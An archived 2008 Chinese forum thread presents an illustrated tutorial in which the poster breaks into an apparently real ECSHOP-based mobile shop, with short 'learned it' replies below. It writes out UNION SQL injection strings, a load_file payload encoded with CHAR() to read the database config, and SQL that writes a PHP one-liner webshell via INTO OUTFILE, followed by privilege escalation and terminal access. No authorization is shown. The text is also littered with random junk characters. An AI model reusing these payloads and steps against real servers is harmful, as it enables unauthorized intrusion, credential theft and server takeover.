我爱电脑技术论坛's Archiver

bbs23 发表于 2008-5-15 11:47

黑客入侵你也行!PHP血战到底(图解)

“打造中国互联网坚固安全长城,为中国的网络安全事业而奋斗终生!”
WLBY:MQR?3L8a1c 虽然听起来有点假,可还是燃气了一群网络安全爱好者的激情,这群年轻人在一起,每天研究网络安全技术,每天在入侵检测与安全防护之间游走,仿佛耳边一直回荡着“我要让微软的每一款软件都必须经过中国人的安全认证才能够走出来!”这是我们的梦,我相信也是所有中国安全爱好者的梦。-m^8D8H Ht*Ep5gg(FO
今天安全检测的目标是一个手机网站,网站界面清新,内容全面,好像已经做了很久,一直没出什么问题,安全性应该是不错的,有了艰巨任务,好安全网小伙子们自然情绪高涨。5~2Rj5]^O*|
打开网站,是一个网上商城,当然首先是环境探测,也就是我们通常所说的踩点了,极可能详细的了解网站的相关信息。
\J-Z%c.Q 随便点一些连接,看到程序是用PHP写的,无疑问应该是MYSQL数据库,从界面上看应该是一套整站系统(现在自己开发程序成本太大了),在网址后面加上admin(通常手段猜测),出现了后台管理界面(如图1),出现这个,不是非常安全就是非常不安全。
i_#j%a#h|'Xa#W?1Q   ;PV|T8G
图1-S)T&l Z6?+J
[attach]24036[/attach]
ch7L)nernPB)D 从表面看不是什么整站系统,用右键查看源代码,开一下有没有没被修改的版本信息,仍然没有,修改的这么干净吗?随手点击了一下“你忘记了密码吗?”出现这个(如图2)
| p&N#I L1_~   "n K1{*b;[6M
图2
(A:pN5K.`akTU [attach]24037[/attach])Mw}$LSQ6Gl
原来如此,是ECSHOP系统,也及是DISCUZ开发的一个网店系统,还算有点收获。^ `e)h@'A%ZC/R
回到前台页面,看看有没有注入漏洞,因为比较关心这个,好利用危害还比较大,在带有参数的页面上加了一个 “’”来检测下,出现如下提示。(如图3)
%hq@&{Yb0Bx   :tH.K;]vY
图3
2}a/\ B({klu~W [attach]24038[/attach]
Qi])\ L }7`}b[ 是MYSQL的数据库,这里告诉大家,不要武断的认为只要是PHP就一定是MYSQL数据库,他们只不过是常见搭配而已,应该小心求证。0Q8b M!oIS,W'c OA
有的朋友看到这里,可能会说,有了注入点入侵还不容易啊,其实不然,我开始也认为应该是不会太困难,可往下走的时候才发现,有很多问题要一一的去解决。
%}gn'\p 到目前位置,所得到的基本信息是
p,N.|BTu 开发语言:PHP*a E.M6D{ k
数据库环境:MYSQLn _#[z}ld\:y
网站后台:ADMIN(B`;FLk8`+Ag.|0Oo
存在注入点:ad.php?adid=22
7MAP|p 整站系统:ECSHOP(这里如果能找到详细版本尽量要详细的版本)w.D8FRr@\9R
不过这里在下了ECSHOP系统,本地搭建之后,发现本地和网站程序有所差别,网站应该是一套整合过了的程序。没关系,既然他漏了马脚,我们就继续跟踪。nI"KzI]\Pd
一般大家都会选择不同的工具去进行检测,因为方便,我也不例外,打开PHP注入漏洞检测工具,不太有效,最近新出个工具pangolin挺火的,自己感受了下也确实不错,尤其是他的命令行功能,强。(如图4)-ZA%V\6^*N\
  w7v\}xW^$y:ln
图49]&M GW$M za'c U

UJ4Qn(}(LpS^t*D ~ [attach]24039[/attach]-s\^5?tT#w \
还算不错检测出来数据库的名称Current database is : shouji,看了下本地搭建的站点知道他的管理员的表名叫做ecs_admin_user,列名分别为user_name、password。(如图5)*X kv'J;C+Wz]$s6E
  
f8r*N2w;Jp)bQJJP.vJ'P 图5[SH+[5JIC
[attach]24040[/attach]
8KTHO |E
0`Jzwr,T 把相应的名称添加到pangolin上猜解,管理员的用户名以及密码都已经猜解出来了,不过速度太慢了,拿到MD5的加密值,破解不了,也有好多朋友问过我,破不了MD5,我们怎么办,那我的回答就只能是另辟新境了,应为MD5加密是单向的,是没有办法进行解密的,我们通常上的MD5解密网站也要通过一个一个比对,才能找出他的对应明文。
/J}*A:jd,_7|'aD 既然进不了后台,走其他的路吧,说实话,这个时候就有点不太想用工具了,因为工具毕竟非常局限,只有那么一点功能,太束缚我们的发挥,于是号召了下,“兄弟们,把工具都撇了,耽误事情。”于是所有人开始手工进行网站入侵(当然这个就要经验了)。
w,P.PH?*]'c[ 因为对PHP的研究确实不是很深,所以决定恶补PHP的脚本入侵技术,足足看了5个小时的文章,在电脑前面迷迷糊糊的就见到了第二天的太阳。:r2_[b(mg
昨天看的文章确实对自己启发不少,PHP注入比较常用的有个UNION查询,
6Zfc+`-Q/k#V [.~I 语句如下:
v}~CXjg wq and 1=2  union select 13,12,11,10,9,8,7,6,5,4,3,2,1
.d8M"t:`on.l 那么在注入点后面输入and 1=2  union select 1,返回错误页面(如图6)。~ F%{{wrk
  
7K'dXL7LO 图6(F Q;A9dR]"N5n/i'Q
[attach]24041[/attach]
?(qU(~x.\d(D oFi'T(L8pxw[e
一直到and 1=2  union select 13,12,11,10,9,8,7,6,5,4,3,2,1。此时返回页面正常(如图7),说明,此页面一共查询了13个字段,分别在文章题目位置和内容位置返回11,10,那么也就是说明,如果我把11和10换成我想要查询的内容就可以了。
/g&T1j.uY   
$?`9D9iQ!zWX 图7v/~7Q k"c|
[attach]24042[/attach]Z i"^&]8zkq

mb}8JT)l0dt)@ F 我们将语句改成and 1=2  union select 13,12, DATABASE(), user(),9,8,7,6,5,4,3,2,1。页面返回如图8,看到了页面返回的便是当前数据库名称shouji,以及当前数据库连接用户root.S0Z'hU+hxO|1W
  
,Cz7ar9n$l 图8
y2P ?9E{6NC6_ [attach]24043[/attach];z5L,O9Dc#^
到这里大家是不是会有一些喜悦,root拥有数据库控制的最高权限,也就是说我们能够成功的希望很大,当然你也可以查看MYSQL的版本等等。8Z5B A8`g@
虽然知道了用户名但是没有密码是没有用的,如何得到密码那,这又是一个难题。不过不知道大家想没想到load_file这个函数,顾名思义,当然就是装载文件了,这样思路就清晰了,如果我们可以装载他数据库的连接文件,那么就自然会胜利冲破难关。IX @R$oF K
不过要想装载他的连接文件就必须知道绝对路径,为什么?因为相对路径不能用,呵呵。在网站上不停的游走,不停侧单引号,最后还真的被我找到了他的绝对路径(如图9)。
r[ V?f5e(l6y$^   
2i A5K?4Ko"p 图9p%I`J;U/s*rQ
[attach]24044[/attach] e2R%o.N z z5N9U f
相对路径找到了,那么数据库连接文件又是什么那,记得我们开始下了一套ECSHOP的系统了吧,对到那里去找,OK,路径为DATACONFIG.PHPI"y/t4B ]
好的现在我们加载他的连接文件,在注入点后面加上
*` N`Q I9J and 1=2 union select 13,12,11,load_file(‘E:new_sitedataconfig.inc.php'),9,8,7,6,5,4,3,2,1&N.}&qud'i"SY
以为就这样大功告成,可谁知道人算不如天算,挂了(如图10)
BsK$@B#X   )~NhhK`)Nof}
图10
-t&G6y0j4A"O k k [attach]24045[/attach]

bbs23 发表于 2008-5-15 11:49

开始以为是路径错了,可仔细检查一下,并每有出现错误啊,难道是权限为题,应该也不会,我是ROOT啊,到底是哪了不对那,仔细看了下才发现,每个单引号前面都多了个“”怎么成了转义字符了,没关系,出现问题我们就解决问题。他将单引号顾虑成“’”,你过滤他,那我不用他不就完了,据我所致,想换掉单引号应该有两种方法,一种是用CHAR()、另一种就是转换成16进制,于是开始构造提交字符。
+A|uSd1W 我们用ASCII转换器进行下转换(如图11)1i i d A}
  1{6^&nC2r2yL E-?
图11
5tRW.\;p [attach]24046[/attach]
8cn!B#v1A7@k o|l#e 那么构造后的结果就是: wl.` ^v
and 1=2 union select13,12,11,load_file(char(69,58,92,110,101,119,95,115,105,116,101,92,100,97,116,97,92,99,111,110,102,105,103,46,112,104,112)),9,8,7,6,5,4,3,2,15zGwa&H L(e&D3y
返回结果没有报错,证明文件应该已经装载成功,可是怎么没有显示出来那(如图12), | Ci8F;pj
  
8?AsCR @;OU$s 图12
f&Pt2T#Lm%r0w1b*oMXBq [attach]24047[/attach]
6tR1c,@%S.h h:d 难道是哪有错误?想了半天,原来如此,他装载文件的时候是将整个文件完全装载,那么我看到的也就是执行过的PHP的代码,这里我们用右键,查看源文件一下就清楚了(如图13)[v?1m4JZ)nZ P
  
F:] Y? wy7V(v1p@ 图13(图片信息为假)\P Z&KJHo2Dw3O&@2O
[attach]24048[/attach]
Rg;Ebd/ln8H-z 这样我们就得到了他的完整信息,包括数据库的地址、帐户、密码,虽然现在差不多已经成功一半了,可是还有个问题就是ROOT帐户虽然也是超级管理员权限,可是他不能像SQL一样直接执行命令,如果我们像进一步渗透服务器就必须用到MYSQL的提权工具(如图14),来进行权限的提升。#Ju:_*G3C*Ln}
  :B pjCRc4I)Vb*V+` G
图14
JV:b \a [attach]24049[/attach]p k1vr#jf|
可是如何将文件上传上去就又成了问题,用MYSQL QUERY连接上数据库,添加了个管理员帐户,进入到网站后台,可进去后发现,如果不研究源代码是很难找到入口得到webshell的。想了想,既然SQL的数据库可以叉一句话木马然后到处成文件,那么MYSQL是不是也可以那,如果可以,我们只需要在数据库里新建个表,然后在字段里插入PHP一句话,在导出成PHP文件不就可以了吗。
-X$f5R/FA;W`.{)h 好的,我们现在来用在数据库里插入一句话木马。语句如下:
}#o~T gQ Create TABLE a (cmd text NOT NULL);         
Njv'L4Ox4|O#j //创建一个表a,包含一个字段cmd
G$?/E'|5^.s&fv9Vj Insert INTO a (cmd) VALUES('');  
Tb-d^t$Sy //在字段cmd中插入一句话木马,木马内容为$~,[2G*l|%Te^4\(`
select cmd from a into outfile 'E:/new_site/haosec.com.php';2Q(v9K"J0J+ki
//将cmd字段内容导出到E:/new_site/haosec.com.php6r%|v#at&{J'B UdP8F
这样在根目录下就会有一个文件,文件内容为 ,也就是我们所说的一句话木马,那么我们只需要用控制端去连接他就可以了,连接成功(如图15)。.pT u*p3rj/P"mYE
  _0k7J-B5a
图15Z]&lR(N9{_:y%J3tT
[attach]24050[/attach]XR@(j ?TL
不过如果在导出之后,发现导出文件是报错的或不能使用,大家可以尝试使用容错的一句话木马,即来解决这一问题。 ~cC%ja/p|5z']
Webshell有了,提权也就不是什么困难的事情了,MYSQL提权,我朋友小飞做的教程非常不错,大家可以到网上去搜一下MYSQL提权,很多。
f s_%S ZJ#k dO 加完管理员后,上传工具开了终端,登陆上去(如图16)。c7G$V:?(}*z
  
j_,h7N-Oq8eF+k 图16
M-@'Z~i.\jt w [attach]24051[/attach]"|#r7p'd(C
至此,入侵检测就告一段落了,应该是拿到了服务器的最高权限。
-Fgp;PT-Ue DqV 其实,我是一个完全不懂PHP的人,只是在做入侵检测之前,学习了一下。其实,这次入侵检测完成以后,给我最大的一个感受就是,中国的网络安全技术为什么同国外差距这么大,就是因为惰性的原因,其实入侵检测并不难,网上的知识足够我们学的,真的希望中国的网络安全技术能够真正的强大起来,而不只是梦想而已。)t Tr$AIZ
[attach]24052[/attach]

a4076 发表于 2008-5-15 15:10

学习了!`DIN

87045089 发表于 2008-5-15 15:20

学习了但还是不会

lygadsl 发表于 2008-5-15 18:14

看不懂啊,太多了,学习不好

a4076 发表于 2008-5-16 15:50

学习了··顶下!

页: [1]

Powered by 我爱电脑技术论坛 Archiver 6.1.0  © 2001-2007 本SEO插件由网络人站长论坛出品